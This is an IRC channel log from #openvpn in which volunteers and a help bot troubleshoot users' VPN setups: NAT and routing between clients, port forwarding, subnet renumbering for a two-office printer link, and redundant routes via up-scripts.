09:43 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Quit: Leaving]
09:43 -!- fys [~fys@66.55.29.78] has joined #openvpn
09:44 < narcos> Hm, I think I'm already nat hacking
09:45 < defswork> narcos, start at machine01 and walk through the path the packets take to the destination and check everything is right at each stage
09:45 < narcos> OK
09:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:45 < fys> The Windows openvpn client is extremely limiting.
09:46 < defswork> so machine01 should just have a route (pushed by ovpn) to the remote lan subnet via the vpn start
09:46 < defswork> server should know that machine02 has subnet behind it (courtesy of iroute in ccd)
09:46 < narcos> defswork: I should see that via the route command, right? Or is there a special openvpn command ?
09:47 < defswork> logs will should it learning
09:47 < defswork> show*
09:47 < defswork> I reckon your NAT rule is wrong
09:47 < narcos> I see Machine01 has a gw of Server to access Machine03's range
09:48 < defswork> you need to nat traffic only from machine01's subnet
09:48 < defswork> not anything in the ovpn pool
09:48 < defswork> else it will also be snatting  machine02's data
09:48 < narcos> Hmmm
09:48 < defswork> you are only natting the machine02 eth0 address
09:49 < defswork> machine01* for traffic from machine02
09:49 < defswork> machine01 bah - traffic direct from that will have a source address of it's vpn tunnel ip
09:49 < defswork> not it's lan address
09:50 < narcos> Errrm
09:50 < mapito> hmm anyone know much about making ovpn file for ios/
09:52 <@krzee> !ios
09:52 <@krzee> !inline
09:52 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
09:52 <@krzee> mapito, ^ =]
09:52 < mapito> thanks mate
09:52 <@krzee> np
09:52 < narcos> defswork: Not toooo sure I follow.
09:53 < defswork> machine01 connects to ovpn - it gets a tunnel IP address.  When it try to originate a connection to anything down the vpn it's source address will be the tunnel ip address
09:54 < narcos> It's odd - Machine01 has a route to get to Machine03 via it's tun0 interface, but pinging Machine03 from 01 I don't see any traffic on Server's tun0
09:54 < narcos> ok
09:54 < defswork> thats not odd
09:54 < defswork> ping machine02's tunnel ip
09:54 < defswork> that will work
09:55 < narcos> Yeah I can ping that
09:55 < narcos> But I thought I'd see attempts at the ping getting through on Server.tun0
09:55 < defswork> the ping to machine03 has a source address of  192.168.42.n
09:55 < defswork> if you nat 192.168.42.* it will screw up machine02's traffic also
09:56 < defswork> because it's vpn tunnel is 192.168.42.n
09:56 < defswork> your nat rule needs to be specifically just for machine01's tunnel ip
09:56 < narcos> ahh
09:56 < defswork> you can ping tunnel to tunnel client to client ok so it's all working
09:56 < defswork> you natting is breaking it
09:57 < defswork> you need to give machine01 a static IP
09:57 < defswork> and then nat it only
09:57 < narcos> ahhh ok
09:57 < narcos> NATing on Server..?
09:58 < narcos> Hmm, these guys seem to have done it - http://www.offensive-security.com/kali-distribution/kali-linux-iso-of-doom/ (well, similar)
09:58 <@vpnHelper> Title: Kali Linux ISO of Doom (at www.offensive-security.com)
09:59 -!- EmperorTom is now known as _quadDamage
10:04 -!- seba [~seba@kratzbaum.someserver.de] has joined #openvpn
10:04 < seba> hi
10:05 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
10:05 < seba> is there another way to push options to the other end of my openvpn connection via a script besides client-connect?
10:06 < seba> i have two tun/static-key vpns and want that on connection setup one client can push a bunch of routes generated by a script to the other side
10:08 <+pekster> You need TLS for that since option pushes occur over the TLS channel
10:08 <+pekster> static-keyed won't do it
10:08 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:08 <+pekster> You can still use a PtP setup with TLS though, should you want that
10:09 < defswork> seba, if your script adds the routes to a ccd file (or DEFAULT) it will be parse for every new connection
10:09 <+pekster> Not if it's using static-keys it won't
10:09 < defswork> (and not just at server startup)
10:09 < defswork> pekster, yeah yeah I mean beyond that
10:10 < mapito> hmm
10:11 < seba> i thought --push would also work for static-keyed vpns, when --pull is specified on the other end
10:11 -!- mattock_afk is now known as mattock
10:14 < eddq> !nat
10:14 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
10:16 < mapito> YES
10:16 < mapito> Im on my vpn fro my cell phone
10:16 < mapito> :DDDD
10:19 < narcos> defswork: That URL seemed to work, at least as far a the Server ==> Machine03
10:21 < mapito> hang on
10:21 < mapito> quick question
10:21 < mapito> if im using my 3g but also got my VPN up what would websites see my IP as/
10:27 < Eugennerz> If you're doing redirecting? Your traffic will go via the VPN server.
10:28 < Eugennerz> openvpn is not a magical "hide my IP" thing. It can be used to set that up, but don't equate the two things.
10:28 < Eugennerz> I blame fucking shitty "vpn providers"
10:29 < mapito> aha no
10:29 < mapito> its DNS leak
10:29 < mapito> using my 3g dns still
10:33 < SlutaTramsa> Hello, I want to display my local webserver to the internet with the ip adress from my VPN server. How do i go about doing that? I'm using the TUN interface (routing) Config: http://sprunge.us/MKHc
10:34 < Eugennerz> You can either have your VPN server forward the IP:port down to your vpn client, or have you server's webserver do a reverse-proxy to your client's webserver.
10:34 < Eugennerz> The first is iptables DNAT; the second is mod_proxy or whatever nginx calls it.
10:34 <+pekster> Mind the reverse routing too SlutaTramsa; the return traffic _from_ your webserver for forwarded traffic needs to route back across it
10:35 <+pekster> Either redirect all traffic from that host (the real backend server) across the VPN, or set up policy routing
10:36 <+pekster> And stop using opendns
10:36 <+pekster> !opendns
10:36 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
10:38 < SlutaTramsa> Okay... could anyone point me to a direction on what i should do to find a solution to this problem? I'm a "newbie" so a guide would be great
10:39 < Eugennerz> I just gave you two solutions :-p
10:39 < Eugennerz> We don't have any factoids for it, no.
10:40 < SlutaTramsa> so Iptables DNAT could be a solution?
10:43 <+pekster> Provided return-routing is done correctly, yes
10:44 <+pekster> OpenVPN just provides you a link between 2 points: the fundamentals of routing don't change when you do that
10:44 < narcos> Any ideas why this tutorial is using tap and not tun? - http://www.offensive-security.com/kali-distribution/kali-linux-iso-of-doom/
10:44 <@vpnHelper> Title: Kali Linux ISO of Doom (at www.offensive-security.com)
10:45 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dwmdwgrlqnlltzci] has quit [Ping timeout: 256 seconds]
10:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-dhrixgpwunjsxvhr] has joined #openvpn
10:46 <+pekster> Becuase they're braindead and routing over a tap without any real need
10:46 < narcos> Ah, good.
10:46  * narcos changes it to tun
10:47 <+pekster> (AFAICT.) We don't like 3rd party guides here as many are misleading or foolish, and some are outrihg wrong. I spent about 20 seconds looking at the article, so take my advice for all the care I put into it
10:47 <+pekster> See also: !tunortap
10:47 < narcos> Yeah I've been schooled in tunortap lots in here :)
10:48 < Eugennerz> That's a terrible domain name
10:48 < Eugennerz> Mine is much better
10:49 < Eugennerz> Except this isn't the one I thought it was.Stupid vhost
10:49  * Eugennerz owns badcryp.to
10:49 <+pekster> Lots of people own bad crypto ;)
10:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
10:52 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:54 < SlutaTramsa> Eugennerz is this the solution to my problem https://forums.openvpn.net/topic7823.html ? just change the port in the clientconnect.sh to 80?
10:54 <@vpnHelper> Title: OpenVPN Support Forum IPTABLES - Portforwarding : Routing and Firewall Scripts (at forums.openvpn.net)
10:55 < Eugennerz> For the first method, yes. Though you don't need all that scripting garbage, just a static iptables entry will do fine
10:55 < Eugennerz> If your server is gonna be serving any other webpages that isn't appropriate though - proxying is.
10:57 < SlutaTramsa> No, i'm the only one using the server. "just a static iptables entry will do fine" can you give me an example?
10:58 < narcos> Gotta go, will try again later. Thanks for the help all, appreciate it ++
10:58 < Eugennerz> man iptables
10:58 < Eugennerz> !spoon
10:58 < Eugennerz> Hrm. Wrong bot.
10:58 -!- narcos [~narcos@dsl4.leasingoptions.co.uk] has quit [Quit: Leaving]
10:59 -!- Guest24084 [~ifiokjr@94.197.121.245.threembb.co.uk] has joined #openvpn
10:59 <+pekster> #netfilter is more on-topic if you need help with firewall or other Linux netfilter basics (including NAT)
11:00 <+pekster> DNAT (aka 'port forwarding') is one of the more basic things you should be familiar with in a public/private border router
11:02 -!- Guest24084 [~ifiokjr@94.197.121.245.threembb.co.uk] has left #openvpn []
11:02 -!- Guest24084 [~ifiokjr@94.197.121.245.threembb.co.uk] has joined #openvpn
11:05 < MacGyver> Or not, if you go IPv6-only.
11:05  * MacGyver thinks DNAT should die.
11:06 < MacGyver> Not always an option, unfortunately.
11:06 <+pekster> True, though return-routing still needs to be set up properly if you have a 2nd public IP provided by a remote VPN. Multi-homed setups fall squarely into the 'advanced networking' category
11:14 -!- klein [~klein@unaffiliated/klein] has quit [Quit: Leaving]
11:19 -!- Guest24084 [~ifiokjr@94.197.121.245.threembb.co.uk] has quit []
11:44 -!- takamichi [~takamichi@217.23.15.212] has quit [Quit: Computer has gone to sleep.]
11:53 -!- michaelhart [~michaelha@162.209.1.130] has quit [Ping timeout: 248 seconds]
11:55 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
11:55 -!- fys [~fys@66.55.29.78] has quit [Ping timeout: 245 seconds]
12:08 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
12:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:15 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Quit: Leaving.]
12:24 -!- eddq [~eddq@li309-191.members.linode.com] has left #openvpn []
12:34 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
12:42 -!- dimitry7 [~antonello@38.124.174.31] has quit [Quit: Leaving]
12:44 < Freeaqingme> Hi folks. Does anybody know what happened to the debian/ubuntu repos?  All links are not working, and  the repos listed here result in 404's only: http://repos.openvpn.net/repos/apt/conf/
12:44 <@vpnHelper> Title: Index of /repos/apt/conf/ (at repos.openvpn.net)
12:49 -!- fys [~fys@66.55.29.78] has joined #openvpn
12:55 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
12:56 < altermann> !goal
12:56 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:58 < altermann> hi there: i need to connect 2 office together so that one office send print jobs to the remote office printers. i have dd-wrt and tomato routers, both subnets have 192.168.1.0/24 ip addresses
12:59 < Freeaqingme> altermann, you're not gonna like it
12:59 < Freeaqingme> if at all possible, I'd suggest changing one of the subnets
12:59 < altermann> Freeaqingme: that can be done easily
12:59 < altermann> both routers come with open vpn and i want to better understand which setup to chose, either bridged or routed
13:00 < Freeaqingme> Otherwise you'd have to setup bidirectional NAT, combining both SNAT and DNAT
13:00 < altermann> i've been doing some reading and i'm still scratching my head
13:00 < Freeaqingme> altermann, have you read the considerations for either bridged or routed?
13:00 < altermann> yes
13:00 < Freeaqingme> what are your thoughts?
13:00 < altermann> http://openvpn.net/index.php/open-source/faq/community-software-general/311-what-are-the-fundamental-differences-between-bridging-and-routing-in-terms-of-configuration.html
13:00 <@vpnHelper> Title: What are the fundamental differences between bridging and routing in terms of configuration? (at openvpn.net)
13:01 < altermann> i want to chose the simplest setup: i have static ipv4 addresses on both sides
13:01 < Freeaqingme> I'd say using a routed setup is more simple
13:02 < Freeaqingme> and unless you have very specific demands, that's the setup I'd suggest
13:03 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:03 < altermann> no, my demands are simple, i want the cups server to send print jobs to the printers as if they were on the local network as opposed to the way we have it right now which is a completed clusterfuck via autossh
13:04 < altermann> pardon my language but that's the only way i can describe it
13:04 < Freeaqingme> whehe
13:04 < Freeaqingme> it can still be worse, probably :P
13:05 < Freeaqingme> altermann, if renumbering one of the subnets is possible, go for that, and a routed setup
13:06 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
13:06 < altermann> my best judgement is that i'd have to setup the remote printers in cups with 192.168.0.1 ip scheme and the local workstations and printers would stay with 192.168.1.1 scheme
13:07 < Freeaqingme> yup, something like that
13:07 < altermann> good, good
13:07 < Freeaqingme> but will your network ever expand, and if so, how?
13:07 < altermann> nope
13:07 < altermann> 2 offices it is
13:07 < altermann> and will be
13:07 < Freeaqingme> okay. We'll talk in 5 years :P
13:07 < rob0> RFC 1918 is very roomy. Spread out and enjoy some of it. 192.168.0.0/23 is asking for trouble.
13:07 < Freeaqingme> I'd personally go with 172.16/12 or 10.0/8 while you're on it
13:08 < altermann> rob0: i can go for 10.0 scheme
13:08 < Freeaqingme> gives you a little more space to do some decent subnetting
13:08 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:08 < altermann> our office have no more then 20 workstations each and 10 printers
13:08 < altermann> each
13:08 < Freeaqingme> cause no matter the situation you're in right now, things do eventually grow or change
13:08 < rob0> Even 192.168/16 is big, but as per /topic, you will find a lot of stock routers using addresses in 192.168.0.0/23.
13:09 < rob0> well, not /topic, but I think it is in:
13:09 < rob0> !welcome
13:09 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
13:09 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:09 < Freeaqingme> oh right
13:10 < Freeaqingme> some time ago that was for me a reason to use 172.16/12, there's no consumer that uses that
13:10 < altermann> i can certainly go for 10.0 @ the remote office which has less wokstations and printers
13:10 < Freeaqingme> (and started using them from .17
13:10 < Freeaqingme> altermann, in that case you may want to leave 10.0.0.0/24 unused as well
13:10 < Freeaqingme> some routers use that range also
13:10 < altermann> Freeaqingme: i don't understand
13:11 < Freeaqingme> ask ;)
13:11 < altermann> routers use whatever ips you tell them to
13:11 < Freeaqingme> they will. But hardly ever consumers change their home subnets
13:12 < Freeaqingme> so if you want someone to connect from home, it's likely they use either 10.0/24 or 192.168.0/23. So by not using those ranges, you prevent any conflicts from employees that want to work from home and your offices
13:12 < altermann> the vpn will not be accessed from other networks
13:12 < Freeaqingme> well, not now perhaps. But requirements do change over time. So if you can already take that into account with minimal effort, I'd definitely suggest to do so
13:12 < altermann> will do
13:13 < altermann> i was confused as to why you're discouraging me from using those subnets but i do understand now
13:13 < Freeaqingme> the quote "In IT, the only constant is change" does apply ;)
13:13 < altermann> i have worked for an ISP for 5 years and i know lament users
13:13 < Freeaqingme> whehe
13:13 < Freeaqingme> good luck explaining they need to change some metrics in their routing table
13:14 < altermann> haha
13:14 < altermann> ok, so use 10.1/24 on the other side
13:14 < altermann> or 10.5
13:15 < altermann> anything higher then 10.0 i guess
13:15 < Freeaqingme> if you use 10.1.0.0 for one location, and 10.2.0.0 for the other location, you still have 8 bits to later divide into multiple subnets
13:16 < altermann> now my next question is, if i setup the vpn between 2 routers, how will my cups server find those printers that are remote?
13:17 < Freeaqingme> do you use the OpenVPN machine as gateway?
13:17 < altermann> yes
13:17 < altermann> both will be the gateways
13:17 < Freeaqingme> okay, then OpenVPN will do the job for you, by adding a route to the other side to the routing table that points to your tun device
13:18 < altermann> fair enough
13:18 < altermann> but i still need to change the subnet on one end at least
13:19 < Freeaqingme> if they were no gateways, you'd have to add a route on the gw that points to the openvpn machine
13:19 < Freeaqingme> yup. If it's just about one device you could go for the bidirectional NAT, but that's a really difficult situation to manage once it grows
13:19 < rob0> Does CUPS have some sort of scanning mechanism? I don't know. Maybe you need to tell it where remote printers are.
13:20 < rob0> But if you can route to a printer, and you have permission to use it, CUPS can use it.
13:21 < altermann> my assumption was as long as the printers has an ipv4 which can be setup in cups, cups will simply send the job there
13:21 < rob0> yes
13:21 < altermann> but not while that printer is behind a nat
13:21 < rob0> no need for NAT from one RFC1918 network to another.
13:22 < Freeaqingme> but if on location A you have a desktop with ip 192.168.0.28, and on location B the printer has that same IP, then cups on network A will only connect to that desktop
13:22 < altermann> indeed
13:23 < altermann> my understanding was, as long as i have remote printer with 10.2.0.200 in cups, then it will use the vpn tunnel to print to that printer
13:23 < Freeaqingme> yup
13:23 < Freeaqingme> but make sure to do the changes consistently
13:24 < altermann> thanks for pointing that out Freeaqingme, now i have a better understand why i can't have the same subnet scheme on both ends
13:24 < Freeaqingme> having just one device with a completely different ip in the same network is confusing
13:24 < altermann> oh no
13:24 < altermann> all computers and printers' ips will change @ remote location
13:24 < Freeaqingme> sweet ;)
13:24 < altermann> all will follow the same scheme
13:24 < altermann> i will fly out there
13:25 < altermann> now as far as the key generation is concerned
13:25 < altermann> i was reading a guide on how to do that in command prompt which shouldn't be a big deal
13:26 < altermann> the routers have only GUI setup, i'm guessing all i have to do is paste the keys in the appropriate fields and i'm done
13:26 < Freeaqingme> dunno about that. Never used DD-WRT
13:26 < Freeaqingme> I'd assume one of them could also generate them
13:27 < rob0> Ideally key generation should be done on a regular computer with plenty of entropy.
13:27 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
13:28 < altermann> that's easy
13:28 < Freeaqingme> rob0, agreed. But if the router has a gigabit of random data flowing through it, it should suffice as well?
13:28 < altermann> so it's not like ssh keys where they have to be generated by the machine itself
13:29 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
13:29 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
13:29 < rob0> I have read that better entropy usually comes from keyboard and mouse input, but I am not an expert in such areas. Might be a question to ask the openssl folks.
13:30 < rob0> (Not that they'd answer it: see the Debian debacle of a few years back. ;) )
13:30 < Freeaqingme> whehe
13:30 < altermann> i've got a octo core with 16gb of ram @ my disposal
13:30 < Freeaqingme> Could try #security though
13:30 < altermann> running linux
13:30 < Freeaqingme> altermann, it's about the amount of random data you can gernerate
13:30 < Freeaqingme> * generate
13:30 < Freeaqingme> and it's randomness (the entropy)
13:30 < Freeaqingme> * its
13:34 < altermann> i find that openVPN on the routers have less fields to fill in, aside from key-gen it's very strait forward
13:36 < altermann> there's one filed called: Local/remote endpoint addresses. i'm guessing that's where i'd enter the subnet mask or is it a certain ip address on the other end that i will have to designate for vpn access that goes in there?
13:37 < altermann> i mean both ends
13:37 < mist__> I'm unable to ping from my clients net towards the server net. If i ping from the client i can see the packets on the openvpn server interface. But if i ping from a machine on the clients net i can only see the packet on the external interface of the server
13:38 < Freeaqingme> altermann, I'm not sure. You could ask the dd-wrt folks. No gui's for me ;)
13:39 < mist__> Anyone have any ideas? I've run out =(
13:50 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
13:52 -!- vertigo [bleach@2604:180::f476:be4f] has quit [Disconnected by services]
13:52 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
13:53 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
13:53 -!- BarthezZ_ [~bart@monitoring.deheij-ict.nl] has joined #openvpn
13:55 < BarthezZ_> Hi guys, I'm doing something potentially nasty, so please say if you've got a more decent solution: I want to do equal path load balancing (and redundancy) with openvpn... so client A has a vpn to RTR-A and RTR-B, which both push the same route... now when one of the RTR's fail, both routes seem to be deleted
13:56 < BarthezZ_> Testing with --enable-iproute2 even prevents the second (idential) route to be added with the error: "ERROR: Linux route add command failed: external program exited with error status: 2"
13:56 < ele> blasphemy!
13:57 < BarthezZ_> am I overlooking something, or am I just running into a bug / something purpousefully unsupported?
13:57 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:57 < mist__> you can't have 2 default routes
13:58 < rob0> See the multiple uplinks page at LARTC.org
13:58 < BarthezZ_> no their aren't default routes... I just want to push 10.100.0.0/24 over both paths
13:58 < rob0> oh
13:59 < rob0> You'll probably have to add the second 10.100.0.0/24 via a script
13:59 < rob0> I've not done this, but you might want some kind of routing daemon
14:00 < BarthezZ_> well, I've tested both with and without --enable-iproute2... without it can add both routes, but one uplink failing deletes both... and with iproute i just can't get 2 added
14:01 < rob0> When I did a 7-site full mesh, we did not bother with alternate routes, figuring that if any of the 7 endpoints was down, you wouldn't be able to get there anyway.
14:01 < BarthezZ_> yeah, but the primary goal is core/vpn concentrator redundancy, one missing endpoint doesn't bother me... hunderds of missing endpoints does
14:04 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
14:13 <@ecrist> or use a real routing daemon, OSPF or BGP
14:18 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 260 seconds]
14:18 < Aketzu> if openvpn would execute 'ip r d 1.2.3.4/24 via tun0' instead of 'route delete 1.2.3.4 mask 255.255.255.0' then it would work
14:19 < Freeaqingme> BarthezZ_, have you looked at ECMP?
14:19 <@ecrist> do it in an up script
14:19 <@ecrist> or down script
14:20 < BarthezZ_> yeah Aketzu, that's the exact issue I have
14:20 < Aketzu> as ecrist said, custom up/down scripts should help
14:20 < BarthezZ_> working on that as we speak :)
14:21 < BarthezZ_> but is there a reason openvpn doesn't use the interfaces while talking to the OS?
14:22 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
14:22 <@ecrist> generally, there's not a need to
14:23 <@ecrist> unless someone's trying to do advanced routing better suited for an advanced routing protocol
14:24 < BarthezZ_> well, these routes actually aren't even used for the LB'ing :x
14:27 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
14:27 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Read error: Connection reset by peer]
14:27 <@ecrist> LB'ing?
14:28 < Freeaqingme> load balancing, I guess
14:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
14:30 < BarthezZ_> oke, it works fine scripted... but I noticed something weird
14:30 < BarthezZ_> in the without-scripts setup
14:31 < BarthezZ_> the endpoint has the vpn's called vpn01 and vpn02, pointing to RTR-A and RTR-B... when both are connected and i shutdown RTR-B, only one route gets deleted - good -
14:31 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
14:31 < BarthezZ_> but, restore everything, and disable RTR-A, both routes get deleted
14:32 <@ecrist> openvpn does some rudimentary routing
14:32 <@ecrist> you're not doing that, you're doing advanced routing
14:32 < BarthezZ_> true
14:32 < BarthezZ_> but it just seems as "weird" behaviour
14:33 < Freeaqingme> BarthezZ_, in setups like yours, I like to do as much routing myself as possible
14:33 < Freeaqingme> at least as explicit as possible
14:33 < BarthezZ_> yeah, with just "/sbin/route add -net 10.100.0.0/24 dev ${dev}" in an up-script it works as it should :)
14:36 < BarthezZ_> so when any tunnel breaks, the OS just invalidates the routes itself as the underlying iface is gone
14:37 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 260 seconds]
14:43 < pppingme> depends on how it breaks
14:43 < mist__> I'm unable to ping from my clients net towards the server net. If i ping from the  client i can see the packets on the openvpn server interface. But if i ping from a  machine on the clients net i can only see the packet on the external interface of the  server
14:43 < pppingme> if it breaks in a way that takes the interface down, or removes the ip from the interface, then yeah, but if it doesn't take the interface down, or remove the interfaces ip, then probably not.
14:43 < mist__> nothing blocked in the firewall
14:44 < BarthezZ_> true pppingme, but i have that keepalive makes sure it breaks gracefully - disabling the interface -
14:44 < BarthezZ_> s/have/hope*
14:45 < pppingme> what kind of tunnel is this?
14:45 < mist__> a openvpn uhhh... not bridge
14:45 < mist__> the other wan =) tun
14:45 < mist__> other one* geez
14:46 < pppingme> you can add "persistent-tun" to your config
14:46 < mist__> in the client config?
14:46 < pppingme> yeah
14:46 < mist__> ah its already in there =(
14:46 < pppingme> that will make the interface appear to still be up
14:47 < mist__> hmmm i think we're talking about different things =D
14:47 < pppingme> actually, I spelled it wrong now that I look...  what else is in your config
14:47 < pppingme> when vpn drops, your routes disappear, is that what we are talkign about?
14:48 < mist__> no. my vpn is up but only the ovpn client can ping, not any of the hosts on the client net
14:48 < mist__> when the machine on the client net pings the traffic is seen on the external interface of the server, but never appears on the ovpn interface
14:49 < pppingme> then you probably don't have routing correct
14:49 < pppingme> just so i'm clear, the openvpn client is on a different box than your main router?
14:50 < mist__> yes
14:51 < pppingme> whats the goal of the vpn, a site to site connection, or some hide your ass tunnel?
14:51 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 268 seconds]
14:51 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
14:51 < mist__> the goal is to get my parents xbmc to mount a nfs mount on my nas at my place
14:52 < nosuid> How would I go ahead if I want to allow clients on one VLAN to be able to stream from a DLNA server on another?
14:52 < mist__> so, site to site i would say
14:53 < pppingme> ok, is this the *only* thing you're using the vpn for?
14:53 < nosuid> mist__:openvpn bridging
14:53 < pppingme> no no no, bridging is NEVER the answer
14:53 < pppingme> its a HORRIBLE solution in most cases
14:53 < mist__> yeah i think so pppingme
14:53 < mist__> they also access some webservers at my place through the tunnel
14:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:54 < pppingme> ok, in that case I'd probably do a point to point tunnel, not a client/server tunnel, but that aside, if you ahve routing setup properly within openvpn, then you need to add a route to your router to point to the other subnet across the vpn
14:56 < pppingme> a point to point vpn would act more like a direct line between the two sites than a client/server vpn would
14:56 < mist__> whats the difference in configuration?
15:00 < pppingme> point to point is much simpler, either end can bring it up, not just the "client" end (as they are true peers), and they are just incredibly simple, one key/cert vs multiple certificates
15:01 < mist__> i'm pretty sure i'm not using multiple certs
15:01 < mist__> just a keyfile with tls
15:03 < pppingme> you have a server cert, then each client has one
15:03 < pppingme> look at this:  http://paste.fedoraproject.org/40602/37953460/
15:04 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Remote host closed the connection]
15:04 < pppingme> the ONLY difference between the two ends is the ifconfig statement (flip it), and the remote statement.
15:04 < pppingme> then you add routes at the OS level for the other end, or you could learn ospf or rip even :)
15:05 < mist__> already have ospf running through ipsec
15:05 < mist__> i failed at configuring racoon manually
15:05 < mist__> (for this specific project)
15:20 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
15:29 -!- Sazpaimon_ [wat@96.227.217.235] has quit [Changing host]
15:29 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has joined #openvpn
15:30 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 248 seconds]
15:35 -!- fys [~fys@66.55.29.78] has quit [Quit: Leaving]
15:46 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:49 -!- dougy[work] [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has quit []
16:02 < altermann> Freeaqingme: i think that field refers to the actual internet facing ips of each network
16:04 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 240 seconds]
16:05 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
16:17 < Freeaqingme> !toppology @ Freeaqingme
16:17 < Freeaqingme> !topology
16:17 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
16:18 -!- haasn` is now known as haasn
16:18 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
16:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:40 -!- Briareos1 [~quassel@r201-217-140-250.ir-static.anteldata.net.uy] has joined #openvpn
16:40 < Briareos1> my connection attempts fail with little information.
16:40 < Briareos1> could you please have a look at https://gist.github.com/bareich/b9568a636188a1f70e8d
16:40 <@vpnHelper> Title: OpenVPN client and server log for a single connection attempt (at gist.github.com)
16:45 < Briareos1> i added the config of the client side https://gist.github.com/bareich/b9568a636188a1f70e8d
16:45 <@vpnHelper> Title: OpenVPN client and server log for a single connection attempt (at gist.github.com)
17:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:08 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
17:14 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
17:27 -!- Synthead [Synthfluid@nat/google/x-nnoksjgakntbswpm] has quit [Quit: Leaving]
17:37 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 260 seconds]
17:38 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 256 seconds]
17:40 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
17:40 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
17:40 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
17:40 -!- mode/#openvpn [+o krzee] by ChanServ
17:58 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
17:59 -!- [clu5ter] [~staff@stealth.server.cybscripts.com] has joined #openvpn
18:15 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
